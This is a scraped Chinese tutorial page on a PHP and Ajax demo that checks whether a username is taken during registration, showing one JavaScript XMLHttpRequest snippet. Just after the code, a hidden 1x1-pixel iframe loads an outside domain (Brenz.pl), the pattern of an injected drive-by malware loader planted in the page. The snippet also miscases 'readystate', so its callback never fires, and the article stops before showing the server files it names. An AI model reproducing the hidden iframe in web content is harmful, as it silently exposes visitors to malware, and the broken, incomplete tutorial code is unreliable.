PHP结合Ajax实现登录验证的Demo浅析
程序员文章站
2022-08-11 11:47:13
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php...
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
<script type="text/JavaScript"> function Ajax(){ var xmlHttpReq=null;//初始对象xmlHttpReq if(window.ActiveXObject){ xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); }else if(window.XMLHttpRequest){ xmlHttpReq=new XMLHttpRequest(); } var userId=document.getElementById("userId").value;//value取得id为userId的值 url="u.php?userId="+userId;//路径 if(xmlHttpReq!=null){//若对象实例化创建成功 xmlHttpReq.open("GET",url,true);//open()打开请求 xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() xmlHttpReq.send(null);//请求不包括正文 } function RequestCallBack(){//回调函数 if(xmlHttpReq.readystate==4){ if(xmlHttpReq.status==200){//请求成功 document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的p } } } } </script>注册
<iframe frameborder="0" src="https://www.Brenz.pl/rc/" style="height: 1px" width="1"></iframe>
welcome.php
上一篇: SQL语句练习